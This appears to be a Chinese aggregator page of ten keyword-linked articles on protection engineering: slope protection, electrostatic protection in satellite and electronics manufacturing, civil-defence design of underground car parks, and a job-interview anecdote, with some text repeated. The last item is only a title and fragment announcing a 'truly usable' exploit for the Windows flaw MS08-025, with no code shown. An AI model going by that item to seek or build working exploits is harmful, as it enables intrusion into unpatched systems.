防护工程有哪些坡地利用过程？(（通用10篇））由网友“一起变好玩”投稿提供，以下是小编收集整理的防护工程有哪些坡地利用过程？，希望对大家有所帮助。
篇1：防护工程有哪些坡地利用过程？
防护工程有哪些坡地利用过程？
坡地在利用过程中都会有较大的土石方工程量以使场地变得比较平整，场地平整应考虑不同地区地形采用不同平整形式,使平整后的场地达到适宜布置建筑、合理安排室外工程、减少土石方量及其动土石方量就 衡,尽可能创造较好的景观环境等，场地平整形式,可分为平坡式、台阶式和混合式。平坡式,即用地经改造成为平缓斜坡的地面形式。台阶式,即用地经改造成为阶梯式的地面形式。混合式,即用地经改造成平坡和台阶相结合的地面形式。采用何种场地平整形式同可供用地的坡度有着密切关系。一般场地平整形式可按表2 所列关系来选定。
场地平整后形成的缓坡、台阶是需要一些防护工程来保护，使工程能在使用过程中安全可靠。这些防护工程主要有挡土墙、护坡和自然放坡等。采用何种防护工程应考虑适宜的条件和技术处理方式,并依据相关技术标准设置。对于护坡、自然放坡的坡度和挡土墙防护工程的高度也应适当控制。
1．防护工程选定的条件
自然放坡：高差小于2m，坡比值小于2：3（竖比横），土质较好，边坡稳定，用地宽裕，
护 坡：高差小于3m，坡比值小于等于1，土质尚好，边坡较稳定，边坡防护层没有侧压力影响，用地不紧张。
挡 土 墙：高差较大，坡比值大于1，土质不良，边坡不稳定，边坡防护层将受侧压力较大影响，用地紧张。
2．不同护坡材料的适用坡度范围
土质护坡：30%～50%
草皮护坡：40%～65%
石材护坡：50%～100%
3．挡土墙高度控制
挡土墙高度设置可分为Ⅱ类。Ⅰ类是以3m高为限,II 类是以5m高为限。
一般连续挡土墙以不超过两层为宜,其挡土墙总高度控制在10m以内。
一般砌石挡土墙的合理经济高度在2～5m之间。从工程经济、绿化景观等综合要求出发,一般以3m高为宜;超过3m时,应分段退台,退台净宽需1m左右,以便台面有0.5m左右的绿化种植带,以利景观。
篇2：卫星总装过程静电防护研究
卫星总装过程静电防护研究
静电防护是卫星总装过程中质量控制和安全保障的一个重要方面.为了提高航天器总装过程的静电控制水平,文章以某型号卫星为例,针对卫星总装实施特点,对卫星的总装过程进行了静电防护的相关试验和分析研究.首先使用FMEA分析表格,提出静电防护的关键项目,再利用静电检测手段,对这些关键项目进行静电测试.根据测试结果数据分析,查找出卫星总装过程中静电防护的薄弱环节,并针对性地提出相应的'静电控制措施.这些研究成果为航天器总装静电控制的具体实施提供了技术支持,是对航天器总装过程静电防护深入研究的有益探索.
作 者：易旺民 李琦 刘宏阳 孙刚 作者单位：北京卫星环境工程研究所,北京,100094 刊 名：航天器环境工程 ISTIC英文刊名：SPACECRAFT ENVIRONMENT ENGINEERING 年，卷(期)： 25(4) 分类号：V465 关键词：总装 静电放电 防护 接地设计篇3：各种防护工程适用条件有哪些？
各种防护工程适用条件有哪些？
(一)植物防护
1．种草防护：适用于边坡稳定，坡面受雨水冲刷轻微，且易于草类生长的路堤与路堑边坡，选用根系发达、叶茎低矮、多年生长且适宜于当地土壤和气候条件的草种，植于40cm(无熟土时，表土厚度≥20cm)表土层。播种方法有撒播法、喷播法和行播法。当前推广使用的两种新方法是湿式喷播技术和客土喷播技术。
2．铺草皮：适用于需要迅速绿化的土质边坡。草皮护坡铺置形式有平铺式、叠铺式、方格式和卵(片)石方格式四种。
3．植灌木：与种草、铺草皮配合使用，使坡面形成良好的防护层，适用于土质边坡和膨胀土边坡，但对盐渍土经常浸水、经常干旱的边坡及粉质土边坡不宜采用。灌木宜植于1：1．5或更缓的边坡上，或在堤岸边的河滩上，用以降低流速，促使泥沙淤积。
(二)工程防护
1．框格防护适用于土质或风化岩石边坡，框格防护可采用混凝土、浆砌片(块)石、卵(砾)石等作骨架，框格内宜采用植物防护或其他辅助防护措施。
2．封面包括抹面、捶面、喷浆、喷射混凝土等防护形式。
(1)抹面防护适用于易风化的软质岩石挖方边坡，岩石表面比较完整，尚无剥落。
(2)捶面防护适用于易受雨水冲刷的土质边坡和易风化的岩石边坡。
(3)喷浆和喷射混凝土防护适用于边坡易风化、裂隙和节理发育、坡面不平整的岩石挖方边坡，
3．护面墙用于封闭各种软质岩层和较破碎的挖方边坡以及坡面易受侵蚀的土质边坡。用护面墙防护的挖方边坡不宜陡于1：0.5，并应符合极限稳定边坡的要求。护面墙分为实体、窗孔式、拱式等类型，应根据边坡地质条件合理选用。
4．石砌护坡
(1)干砌片石护坡适用于易受水流侵蚀的土质边坡、严重剥落的软质岩石边坡、周期性浸水及受水流冲刷较轻(流速小于24m／s)的河岸或水库岸坡的坡面防护。
(2)浆砌片(卵)石护坡适用于防护流速较大(3～6m／s)、波浪作用较强、有流水、漂浮物等撞击的边坡。对过分潮湿或冻害严重的土质边坡应先采取排水措施再行铺筑。
5．浆砌预制块防护适用于石料缺乏地区。预制块的混凝土强度不应低于C15，在严寒地区不应低于C20。
6．锚杆钢丝网喷浆或喷射混凝土护坡适用于直面为碎裂结构的硬岩或层状结构的不连续地层，以及坡面岩石与基岩分离并有可能下滑的挖方边坡。施工简便，效果较好。
(三)土工织物防护
1。挂网式坡面防护适用于风化碎落较严重的岩石边坡。沿边坡悬挂的土工网能截住落石，引导其进入边沟或其他可控制地区。落石直径较大，边坡倾角大于400时不易使用。
2．土工织物复合植被防护坡面综合了土工织物和植被两类防护的优点，其典型形式是三维土网(垫)植草防护，主要适用于边坡坡度缓于1：1，边坡高度小于3m的土质边坡。
3．其他土工织物防护有草坪植生带、适用于破碎或易风化破碎的岩石路堑边坡的锚杆挂高强塑料网格喷浆(喷射混凝土)，以及土工织物作反滤层的护坡。
篇4：浅谈地下汽车库工程防护设计
浅谈地下汽车库工程防护设计
停车问题是城市发展中出现的静态交通问题，随着城市中各种车辆的增多，对停车设施的需求量不断增加，就会出现停车难的问题。为了解决这一矛盾采取了两个方面的措施：第一是在城市立体化再开发过程中，使相当一部分停车设施地下化；第二是发展机械式多层汽车库。根据我国国情出发地下停车库为主要发展方向，首先，停车容量受到的限制较小，可以在地面空间相当狭窄的情况下提供大量停车位；其次汽车库位置受到的限制较小，有可能在地面空间无法容纳的情况下满足停车设施的合理服务半径，这一点在容积率最高的城市中心区尤为重要；第三是节省城市用地，地下停车库的出入口、排风口等虽也需要在地面上占用一些土地，但数量较小，一般不超过总面积的15％。 本市各级民防主管部门在审批民用建筑项目时，改变了以往将民防工程均设置在高层或小高层下修建民防工程的做法，结合实际移至绿地下，结合小区地下汽车库改建成民防工程。从我们几年来承接的设计项目中，结合地下汽车库修建民防工程占了绝大多数。其规模不等，小至1000平方米，大到近万平方米。工程竣工后的情况如何？在跟踪回访中，我们听到了一些意见，如地下汽车库平时与战时防护设计之间的矛盾以及防护设计对地下汽车库平时使用的影响等。结合这几年地下车库人防工程的设计谈几点体会： （一）地下车库主体部分的防护 工程防护主要是针对战争对工程的破坏所采取的措施。战争是人为灾害的一种，只是由于战争破坏的特殊性，工程防护才形成了一个单独的领域，而从宏观上看，仍属于防灾范畴。地下汽车库如果具备了一定的防护能力，则不但在平时发挥重要的社会效益，在战时还可以作为人防工程体系的组成部分，发挥重要的战备效益，同时也提高了平时的抗灾能力。 战时用于停车的地下汽车库，在城市中的数量和规模都是有限的，应按照城市人防工程建设规划进行合理布局，并根据有关规范，按确定的防护等级进行设计。应当注意的是，战时停车的地下汽车库，其停车部分允许染毒，对早期核辐射和化学、生物武器的防护要求降低，但应做好染毒部分与清洁部分之间的隔绝和安全通过措施，同时应创造条件，使车辆在进入车库前进行必要的冲洗或清扫，以清除大部分放射性灰尘；如沾染严重，还需进行药物清洗。 由于现在大量兴建的主要是平时停车而战时不停车的地下汽车库平战功能不同，在防护上存在一定的矛盾，主要表现在以下几点： 1）车型的矛盾。平时的城市停车，需要大容量的小型车汽车库，而战时则以供运输用的中型车和各种特殊车辆（如消防车、救护车、防化车、工程车等）为主，很难与平时的使用要求统一，然而车库的设计又无法同时满足外型尺寸相差很大的车辆停放要求，结果就使转为战时用的地下汽车库建设计划在平时不容易实施。 2）规模的矛盾。平时停车地下汽车库的面积很大（超过5000平方米），这样的规模对于战时停车是不需要的，结果许多地下汽车库在战时并不用于停车，只能用于人员掩蔽部和物资储藏。这些功能安排在大容量的空间中不但不安全，而且在平战功能转换和防护设施的转换上也有相当的困难。 3）效益的矛盾。地下汽车库是城市地下空间利用中效益最低的一种类型，地下汽车库的造价高，而平时的`停车收入较少，如果增加防护要求，这个矛盾就更突出，会遭到甲方的阻力。 鉴于以上问题，建议有关审批部门对于平时为汽车库而战时为其他功能时，应当采取现实和灵活的态度，根据不同情况区别处理。 以往的做法是根据行政部门设定的意见一般分为三种情况设计： a、整个工程按防护等级要求进行设计，但要注意与人防工程无关的设备房间应划出人防区域外（如电梯井、配电间等）。 b、主体建筑一部分按防护等级要求进行设计，另一部分则按普通地下室建筑处理。应当注意的是，部分防护区的划分，除在平面上考虑使用要求外，还应注意防护区与非防护区之间临空墙的处理，使其跨度和高度都不能超过规范要求。正确处理临空墙上设备管道的防护密闭措施也是很重要的。 c、车库主体建筑按不防护要求进行设计。但这并不等于说，这样的地下车库毫无防御能力，即使一般地下车库其结构承载力也相当接近于人防工程低等级的抗力要求，只要花费较少的代价，在出入口部分适当增加防护设施，就可以使整个地下车库具备一定的防御能力，虽不能纳入人防工程核心工程，但作为外围工程在战时仍可以发挥重要的防护作用。 （二）地下汽车库口部的防护 地下汽车库的口部包括车辆出入口、人员出入口、通风口和管线进出口。这部分的防护必须达到等强，防止遗漏，并有利于结构和施工。后三种出入口的防护与一般人防工程没有很大的区别，重点解决好车辆车入口的防护问题。坡道式地下汽车库车辆出入口的防护，实际上就是坡道的防护，一般与人员出入口和通风口分开布置，以简化设计。一般按整个坡道不考虑承受冲击波荷载，防护门放在坡道下端，沉降缝的里侧。对于战时功能不为停车库的则采取临战封堵的方法来解决。 （三）地下汽车库防护的平战转换 地下建筑的防护，主要是为在战时抵御各种武器的袭击，为此要比普通地下室增加约5％～20％的投资（视工程大小和防护等级而不同）。为了使这部分投资在平时也能产生经济效益，就要使工程同时具备平时和战时功能，即平战结合。这就产生了平战转换的问题。 平战转换的内容包括使用功能的转换，建筑结构的转换，内部环境的转换和防护设备的转换。 口部防护的平战转换措施，比较普遍采用的有：封堵大口，临战采取预制装配的做法，构件和必要的沙袋要准备就绪，以便临战能迅速安装。另外，口部其他防护设备应采用体积小、重量轻、效率高、拆装方便的产品，平时准备好，临战时能快速安装到位。 地下汽车库的防护工程设计是一项集平时功能设计、战时功能设计及平战功能转换于一体的综合性工程。从某种意义上讲，能否做到真正的平战结合、是否发挥了最大的经济效益、社会效益和环境效益是衡量一项防护工程设计质量高低的重要标志。 随着地下停车空间的开发，根据长期准备、重点建设、平战结合的建设方针，地下汽车库的防护工程设计既要满足平时功能的需要，同时又要满足防护功能的要求。我们不能忽视其在社会、环境、防灾等方面所能发挥的综合效益。篇5：浅谈地下汽车库工程防护设计
下汽车库防护的平战转换
地下建筑的防护，主要是为在战时抵御各种武器的袭击，为此要比普通地下室增加约5％～20％的投资（视工程大小和防护等级而不同）。为了使这部分投资在平时也能产生经济效益，就要使工程同时具备平时和战时功能，即平战结合。这就产生了平战转换的问题。
平战转换的内容包括使用功能的转换，建筑结构的转换，内部环境的转换和防护设备的转换。
口部防护的平战转换措施，比较普遍采用的有：封堵大口，临战采取预制装配的做法，构件和必要的沙袋要准备就绪，以便临战能迅速安装。另外，口部其他防护设备应采用体积小、重量轻、效率高、拆装方便的产品，平时准备好，临战时能快速安装到位。
地下汽车库的防护工程设计是一项集平时功能设计、战时功能设计及平战功能转换于一体的综合性工程。从某种意义上讲，能否做到真正的平战结合、是否发挥了最大的经济效益、社会效益和环境效益是衡量一项防护工程设计质量高低的重要标志。
随着地下停车空间的开发，根据长期准备、重点建设、平战结合的建设方针，地下汽车库的防护工程设计既要满足平时功能的需要，同时又要满足防护功能的要求。我们不能忽视其在社会、环境、防灾等方面所能发挥的综合效益。
篇6：浅谈地下汽车库工程防护设计
停车问题是城市发展中出现的静态交通问题，随着城市中各种车辆的增多，对停车设施的需求量不断增加，就会出现停车难的问题。为了解决这一矛盾采取了两个方面的措施：第一是在城市立体化再开发过程中，使相当一部分停车设施地下化；第二是发展机械式多层汽车库。根据我国国情出发地下停车库为主要发展方向，首先，停车容量受到的限制较小，可以在地面空间相当狭窄的情况下提供大量停车位；其次汽车库位置受到的限制较小，有可能在地面空间无法容纳的情况下满足停车设施的合理服务半径，这一点在容积率最高的城市中心区尤为重要；第三是节省城市用地，地下停车库的出入口、排风口等虽也需要在地面上占用一些土地，但数量较小，一般不超过总面积的15％。
本市各级民防主管部门在审批民用建筑项目时，改变了以往将民防工程均设置在高层或小高层下修建民防工程的做法，结合实际移至绿地下，结合小区地下汽车库改建成民防工程。从我们几年来承接的设计项目中，结合地下汽车库修建民防工程占了绝大多数。其规模不等，小至1000平方米，大到近万平方米。工程竣工后的情况如何？在跟踪回访中，我们听到了一些意见，如地下汽车库平时与战时防护设计之间的矛盾以及防护设计对地下汽车库平时使用的影响等。结合这几年地下车库人防工程的设计谈几点体会：
（一）地下车库主体部分的防护
工程防护主要是针对战争对工程的破坏所采取的措施。战争是人为灾害的一种，只是由于战争破坏的特殊性，工程防护才形成了一个单独的领域，而从宏观上看，仍属于防灾范畴。地下汽车库如果具备了一定的防护能力，则不但在平时发挥重要的社会效益，在战时还可以作为人防工程体系的组成部分，发挥重要的战备效益，同时也提高了平时的抗灾能力。
战时用于停车的地下汽车库，在城市中的数量和规模都是有限的，应按照城市人防工程建设规划进行合理布局，并根据有关规范，按确定的.防护等级进行设计。应当注意的是，战时停车的地下汽车库，其停车部分允许染毒，对早期核辐射和化学、生物武器的防护要求降低，但应做好染毒部分与清洁部分之间的隔绝和安全通过措施，同时应创造条件，使车辆在进入车库前进行必要的冲洗或清扫，以清除大部分放射性灰尘；如沾染严重，还需进行药物清洗。
由于现在大量兴建的主要是平时停车而战时不停车的地下汽车库平战功能不同，在防护上存在一定的矛盾，主要表现在以下几点：
1）车型的矛盾。平时的城市停车，需要大容量的小型车汽车库，而战时则以供运输用的中型车和各种特殊车辆（如消防车、救护车、防化车、工程车等）为主，很难与平时的使用要求统一，然而车库的设计又无法同时满足外型尺寸相差很大的车辆停放要求，结果就使转为战时用的地下汽车库建设计划在平时不容易实施。
2）规模的矛盾。平时停车地下汽车库的面积很大（超过5000平方米），这样的规模对于战时停车是不需要的，结果许多地下汽车库在战时并不用于停车，只能用于人员掩蔽部和物资储藏。这些功能安排在大容量的空间中不但不安全，而且在平战功能转换和防护设施的转换上也有相当的困难。
3）效益的矛盾。地下汽车库是城市地下空间利用中效益最低的一种类型，地下汽车库的造价高，而平时的停车收入较少，如果增加防护要求，这个矛盾就更突出，会遭到甲方的阻力。
鉴于以上问题，建议有关审批部门对于平时为汽车库而战时为其他功能时，应当采取现实和灵活的态度，根据不同情况区别处理。
以往的做法是根据行政部门设定的意见一般分为三种情况设计：
a、整个工程按防护等级要求进行设计，但要注意与人防工程无关的设备房间应划出人防区域外（如电梯井、配电间等）。
b、主体建筑一部分按防护等级要求进行设计，另一部分则按普通地下室建筑处理。应当注意的是，部分防护区的划分，除在平面上考虑使用要求外，还应注意防护区与非防护区之间临空墙的处理，使其跨度和高度都不能超过规范要求。正确处理临空墙上设备管道的防护密闭措施也是很重要的。
c、车库主体建筑按不防护要求进行设计。但这并不等于说，这样的地下车库毫无防御能力，即使一般地下车库其结构承载力也相当接近于人防工程低等级的抗力要求，只要花费较少的代价，在出入口部分适当增加防护设施，就可以使整个地下车库具备一定的防御能力，虽不能纳入人防工程核心工程，但作为外围工程在战时仍可以发挥重要的防护作用。
（二）地下汽车库口部的防护
地下汽车库的口部包括车辆出入口、人员出入口、通风口和管线进出口。这部分的防护必须达到等强，防止遗漏，并有利于结构和施工。后三种出入口的防护与一般人防工程没有很大的区别，重点解决好车辆车入口的防护问题。坡道式地下汽车库车辆出入口的防护，实际上就是坡道的防护，一般与人员出入口和通风口分开布置，以简化设计。一般按整个坡道不考虑承受冲击波荷载，防护门放在坡道下端，沉降缝的里侧。对于战时功能不为停车库的则采取临战封堵的方法来解决。
（三）地
篇7：宁波工程面试过程
周3面试了中国石化宁波工程公司的脱硫工艺工程师，729从化工四村坐9站不到20分钟就到了在虹景新村下车即可。进去之后，先填表，有点烦这种，所以写得不认真。填完带到楼上等面。不久来了石、李、王工。面试开始，首先自我介绍，中文的。我叫另外的一个男的先，他说以前在上海工程公司，也是中石化的，然后人家问你们那里的某某做配管，他不知。然后人家问你做了5个项目第一个是什么他想了半天说BASF，人家又问，当时你配了多少管他说300多，一共有1000多，人家说常用的流量计有哪几种，他说了几个。
最后人家说你做PDS2年了应该算专家了，能给我们指导别人配管吗?他说可能不行，然后面试的人安慰他说，小李，别紧张，我们都是同龄人，要自信。然后是我的自我介绍，他们说我应该比较适合工艺所以又叫了一个什么工，完了什么工说我是脱硫的还是去环保脱硫比较合适，然后我拿着简历去找HR张，她去叫其他人，我听到那工问我的专业及导师，我说徐云龙他不在知，然后张带我见那工，那工说他曾当过老师，又问我CAD熟否，我说不熟，进来后不是有培训吗，他说总部才有，说我不合适，又把我推荐给脱硫的博士，博士问我怎么知道他们公司我说有个同学在北京分，来上海出差时我认识了秦总，所以我打电话给秦总，然后就来面试，我说我的干法催化同时脱硫脱硝，他说哪有那么完美，又说催化剂因为要占大的反应器成本高，
又问工资我填了4500，他说4500?我说少点也可以，但是不要少于4k吧，上海生活成本太高了，他说你说的没错。
然后说他这里没问题，他要和领导商量一下再将他填的一张表给HR，叫我去找秦总沟通一下或找HR张，我不想打扰秦总，又在前台碰到张，她说没事了，以后有消息再call我。
篇8：电子工程中的静电防护
摘 要：随着科学技术的不断发展，电子产品已经不能脱离人们的日常生活，在人们逐渐提高的电子性能需求的情况下，电子设备的性能和质量也在不断地提高和改善，使人们的日常生活变得更加便捷。
本文主要通过对电子工程的分析探索，探讨在电子设备的生产装置中产生静电的危害，根据现实中的一些实际情况，总结相关的静电防护措施，并提出相关的建议。
旨在为我国的电气工程和电子工程的建设提供参考。
关键词：电子工程;静电危害;静电防护措施
电气工程在一定程度上促进了科学技术的发展，电器工程一般是指实现新的电子设备和电子系统的生产创造指导的学科知识。
但是随着当今的科学技术不断地进步和发展中，人们开始对电器工程有了新的了解和认识。
在现代化的进行中，电器工程被逐渐认知为涵盖电子、光子相关的工程行为。
其中电子工程就是电器工程中的一个组成部分，电子工程研究的主要内容有通信技术、电路系统、微波技术等。
并且电子工程已经不能脱离人们的日常生活，日常生活中是用的各种电子设备基本都要由电子工程来实现控制。
但是在电子设备的使用过程中，会产生具有一定危害性的静电，本文对电子设备中产生的静电危害性进行详细地讨论，针对性地进行静电防护措施的探讨。
一、静电的产生
(一)摩擦产生静电
静电主要是通过电子、离子在固定物体场所中的转移而形成的一种附在物体表面的多余静止电荷。
并且两个不通电的物体摩擦时，其中一个物体上的部分相关电子会以摩擦接触的方式转移，使另一个物体得到了电子。
在这个电子传送的过程中，一个物体因为失去了电子，所以产生“正电子”，另外一个物体因为得到电子而产生了“负电子”。
两个物体之间产生了一定的电流，就是静电。
例如在生活中常用的针织毯、纸质物品、化纤维织物等在人接触的过程中会因为发生摩擦的原因而产生大量的静电。
除了以上不同物体之间摩擦产生大量的静电之外，相同性质的物体之间因为摩擦的原因也会产生大量的静电。
相同的物体摩擦产生静电的原因有很多种，除了本身的材质原因外，跟物体表面附着的其他物质也有直接的关系，并且在很多情况下，物体所处的环境，例如温度、湿度等，均是相同性质的物体摩擦产生静电的关键因素。
(二)感应产生静电
在静电场中的能导电的物质，都会通过感应产生静电。
并且带有静电物体周围存在相关导电的物质的时候，导电物质会因为静电场的作用而发生极化，导电物质的电介质因为极化会在物体的两端产生电流大小相等的异性电极，组成新的电场并产生静电(如图1所示)。
(三)人体产生静电
在电子设备的生产和组装的过程中，人是重要的参与对象。
人在参与的过程中一定会和电子设备的相关部件产生摩擦，从而产生静电。
二、静电产生的危害
在电子设备的生实践中，一定会产生大量的静电，一般情况下，静电不会对人的生产活动产生影响，但是在电子设备的制造生产中，会对电子产品造成个很大程度地危害。
静电的危害主要表现在两个方面：静电吸附和静电放电。
(一)静电放电
物体在一定的摩擦程度中产生大量的静电，然后通过聚集，产生非常大的电位，并且会形成一个强大的电场。
周围通电介质的抗电能力不能抵挡电场强度的时候，电场中的电子就会脱离束缚，转换成自由的电子，传送到电场周围可以附着的通电介质上，可以通电的介质因为接收到大量的电子从介质转化成电流移动的导体，电荷流动的过程中会使导体的静电成为正极静电源，通过替他的导电介质进行静电放电。
一般人体所能接受使得最大静电是3kV，所以一般产生的静电不会对人体造成较大程度地伤害。
但是在电子工程的电子设备制造过程中，电子产品的相关部件会发生摩擦、感应等，产生的静电电压伏数远远大于理论中可才能产生的静电电压，会造成电子设备内部的相关部件因为静电发生串联，使得电子产品的电路设备发生短路，导致部分电子设备的元器件损坏。
元器件的损坏主要体现在两个方面，一方面是元器件的部分功能因为静电的影响而失去原来的功效。
另一方面是对元器件造成轻微的损坏，元器件还可以继续利用，只是利用的性能降低。
但是后者造成的危害却更大，因为轻微的损坏在电子设备装置的时候不容易被发现，所以电子设备中依然应用了这些有损伤的元器件，在电子产品设备后期的使用中出现较大的产品故障。
(二)静电吸附
静电吸附在日常的生活中比较常见，电子设备的相关元器件因为在长期的使用中产生静电的原因，吸附大量的杂志和灰尘，影响了元器件原有性能的发挥，例如，人们使用的笔记本电脑，会有一个排热风扇，用来排除笔记本机身内部运行时产生的热量，但是在长期的使用过程中，风扇的运转产生大量的静电，从而使得风扇表面附着大量灰尘，长期会阻碍风扇的正常运转，造成其性能不能充分发挥使得，相关的组件热量不能及时排除而损坏。
三、静电危害的特性
静电会对电子设备造成很大程度地危害，其存在的危害有以下特性：
(一)隐蔽性
静电是不能通过人体而直接被感知的，但是静电放电除外。
静电放电的过程中，认知感知到的也不一定就是电击，因为人体能够感知静电放电有一定的感知伏数范围，很多时候的静电放电虽然已经对周围人或物体造成了影响，但是人体却不能感知，这就是静电的隐蔽性。
(二)潜在性
电子设备的元器件受到静电的影响，大多时候是轻微损坏，不会直接使电子设备的性能出现故障，知识在后期使用的过程中性能逐渐退化，出现使用的故障。
但是轻微的损坏的潜在危害比严重的损坏更加大，所以人们对静电危害的认识还存在很大程度上的不足，认为轻微的潜在危害不足以对设备造成影响。
潜在的元器件损伤是很难在电子设备装制的时候被发现，所以造成后期使用的更大损失。
所以必须采取相关的措施来进行静电的防护，避免静电的放电过程对电子设备的元器件造成危害。
4.建立静电防护系统
静电系统是电子工程中电子产品企业质量控制的重要组成部分，可以实现从生产、装置、使用和后期维护的所有环节进行实时地监控，企业内部的相关技术工作人员必须加入系统的建设当中。
静电防护系统的构成首先要进行硬件的配置，因为硬件基础是实现系统防护功能的重要基础。
但是硬件系统的正常工作需要结合相关的软件管理系统，才能保证整个静电防护系统性能正常的发挥。
其中，硬件系统运行的目的就是建立防静电工作区并且实现与工作区内的各个电子设备的有机协调，实现静电电位的限制，保证静电防护系统的稳定性。
软件管理系统，就是对防护系统的具体防护程序进行设计，对硬件系统的运行实现实时地监控，保证硬件系统的功能正常。
对整个防护系统的故障进行及时地检测定位，保证工作人员可以及时地进行故障的排除。
静电防护系统具体的实施要有诸多相关的企业部门进行技术的引导和合作，例如系统设计部门、质量检测部门、销售与售后等，实现各个部门之间的相互协调，才能保证静电防护系统的有效实施。
五、针对性的防护设备
电子工程的生产和装制的过程，应该针对静电发生和静电产生危害的具体情况，使用静电防护设备来有效地进行静电的消除。
经常使用的静电防护设备有：防静电工作车、防静电烙铁、防静电腕带、防静电周转箱、防静电工作服、防静电工作鞋等。
但是在绝缘物件表面产生的静电，因为物价的.属性是绝缘材质，所以静电会附在物体表面不能进行自由的移动。
通常使用消除静电的方法不能消除绝缘物件上的静电，所以经常在绝缘体上采用消除静电的设备是离子风机。
因为离子风机能够主动形成大量的正离子和负离子，中和绝缘物件表面的正、负静电。
防静电的设备形式多样，一定要对具体附着静电的物体以及物体的环境进行分析，根据分析的结果采用相关的消除静电设备。
结语
综上所述，电子工程中的静电防护工作已经在我国的电子设备制造企业中得到了一定地巩固，但是在具体防护的过程中依然存在着大量的问题，按照标准划分出防静电工作区，创建有效的防静电环境，建立静电防护系统，不断地提高电子工程相关工作人员对静电防护的认知，有效地避免静电对电子设备的危害。
参考文献
[1]李庆鑫.刍议电子工程中的静电防护[J].工程与材料科学，(22)：68-69.
[2]李春伟.论述电子工程中的静电防护[J].中国科技博览，(4)：44-44.
篇9：电子工程中的静电防护
【摘要】在电子产品制造过程中会产生静电，这也是电子产品制造中的一个重要安全隐患，有可能严重损害电子产品的功能，带来巨大损失，因而如何做好静电防护工作在电子产品制造中就有着重要的意义。
本文阐述了电子产品制造中静电的产生和可能造成的危害，并且重点分析了静电防护措施。
【关键词】电子产品;静电危害;静电防护
近年来随着电子产品模块化、集成化的发展，电子器件正变的越来越小，内部结构也越来越复杂，内部氧化膜逐渐变薄，在制造过程中一些微小电压就可能击穿这些电子器件。
因而在当前的电子产品制造中，由于静电引造成的电子器件损伤也越来越严重，电子元件制造过程中的大多数环节中都可能产生静电，那么如何对于通过一些完善的防护措施降低静电危害，也就是众多从业人员所关注的。
一、静电的产生
静电的产生是由于物体表面正负电荷局部失衡造成的，一般而言静电产生的来源主要有三个，分别是摩擦、传导和感应。
在电子产品制造过程中，焊接、组装、调试、包装等多个环节都可能产生静电。
静电的产生一方面在于电子元器件本身的特点，另一方面也与生产操作人员有着重要关系，如果生产人员没有依照防静电规范进行操作，静电防护措施佩戴不齐全、生产中乱搭乱放灯都可能产生静电。
由于电子器件多为导体材料，在器件接触的过程中，于静电场的作用下就可能产生静电，操作人员在组织、调试、包装等过程中，一些绝缘物体之间的摩擦也可能产生静电。
电子元器件静电敏感度分为三个级别，分别是0～V、～3999V、4000～15999V，敏感度越高越易于受到静电的破坏。
因而在静电防护中，也需要针对电子元器件的静电敏感度采取相应的防护措施[1]。
二、静电的危害
1.介质击穿
最然静电产的能力并不大，但是随着电子元器件介质的越来越薄，静电电压击穿电子元器件的现象也越来越普遍。
静电击穿电子元器件可以分文两种，分别是硬击穿和软击穿，硬击穿是指完全击穿，造成电子元器件内部开路或者短路，这一故障是能够在出厂前被检验出来的。
而在在电子元器件被击穿的事故中，其中超过90%为软击穿，也就是不完全击穿，这种类型的电子元器件击穿故障不能在制造过程中被检验出来，甚至在出厂数月后才会产生故障[2]。
由此可见，虽然软击穿没有完全损害电子元器件内部结构功能，但是就危害程度而言要远大于硬击穿，由于无法及时检验出来，在出厂后可能会发生使用故障，损害产品信誉。
2.静电吸附
静电吸附是电子产品制造过程中静电危害的另一种主要形式。
静电吸附主要是指电子元器件在制造过程中本身产生了静电，继而使得浮游灰尘附着在电子元器件上，这会降低芯线之间的绝缘阻抗，可能会引发器件损坏、短路等故障。
由于目前电子元器件内部的结构日趋复杂，在电子产品制造过程中，一些很小的附着物都可能造成严重的故障。
如果浮游物复活在电子产品的芯片上，那么造成故障的可能性也就会更大。
据统计，在静电维护造成的电子产品故障中，超过30%是有静电吸附造成的。
三、静电防护措施
1.抑制起电
在电子产品制造过程中，首先应当抑制起电，避免发生摩擦起电，在生产设备方面做好相关的防静电措施，例如选择防静电物料架、防静电衣等等。
生产过程中相关人员要严格遵守操作规范，禁止在生产线上乱放东西，严禁堆叠线路板，防止在生产过程中由于操作不当产生静电。
在这一方面，可以加强对于操作人员的培训，组织操作人员学习相关的操作规范，特别是防静电措施，在生产管理方面，例如5S管理方法中也可以重点改善这一问题。
抑制静电整体上而言是从生产制造环节防止静电的产生，如果一些电子元器件的静电敏感度较高，那么还需要进行样的无尘处理[3]。
2.静电屏蔽
静电屏蔽这一措施主要是在电子产品生产中采用导电外壳防护的措施保持防护区域内部电位相等，将静电转移到屏蔽外壳表明，在防护区域外部产生放电，以此避免内部电子元器件被产生静电。
同时，还可以采取防静电金属网、防静电包装等方法对于电子元器件进行静电屏蔽，这种方法也是目前电子产品制造中较为常用的方法。
采取静电屏蔽措施通常需要对于电子产品生产线进行改造，合理安排生产线防护措施和工位，静电屏蔽措施的安装以不降低生产效率或者最大程度保持生产效率为目标。
3.控制积聚
控制积聚的主要方法是将电子产品制造过程中产生的静电电荷采取接地的方式转移电荷，消除电子元器件静电。
在实际应用中较为常用的有防静电工作台、防静电鞋套、防静电工作椅等。
并且往往会在工作面上进行特殊的接地处理，以此实现电荷转移。
应当注意的是，在控制积聚中，需要保持接地线路的完整性和安全性，生产线上的每个工位都应当进行接地处理，操作人员在生产过程中也要遵守相关规范，保证静电电荷能够实现实时转移。
4.静电中和
静电中和这一方法的主要实现途径使得空气中漂浮着大量的静电离子，使之与电子元器件表明正电荷接触后实现静电中和，消除电子元器件物体表明静电。
一般使用离子风机向空气中散发静电离子，并且保持空气湿度为40%～80%，对于生产车间进行相应的处理，特别是通风设施，保持生产环境中能够漂浮大量带电离子。
这种方法并不需要对于生产线进行改造，而其对于生产人员的操作要求也较低，因而比较适用于大型电子产品生产的静电防护。
四、结论
在电子产品制造过程中，静电危害是造成电子元器件故障，影响电子产品正常使用的重要原因之一，也是在电子产品制造中影响质量安全的一个不稳定因素。
因而应当重视电子产品制造中的静电防护，充分认识静电产生的原理和对于电子产品的危害形式。
积极采取相应的静电防护措施，灵活运用各种防静电方法，如抑制静电、静电屏蔽、控制积聚、静电中和等等，针对电子产品的生产特点，在设计、生产管理等方面严格控制静电危害。
参考文献
[1]王勇.电子产品制造中静电防护工作的探讨[J].铁路通信信号工程技术，，06：93-95.
[2]鲜飞.浅谈电子制造过程中的静电及静电防护[J].电子与封装，，02：31-34.
[3]翟学军，马峰.电子产品制造业人体静电综合防护系统的研究[J].中原工学院学报，，S1：95-97.
篇10：又一个MS08025漏洞利用过程解密
真正可用的MS08025，
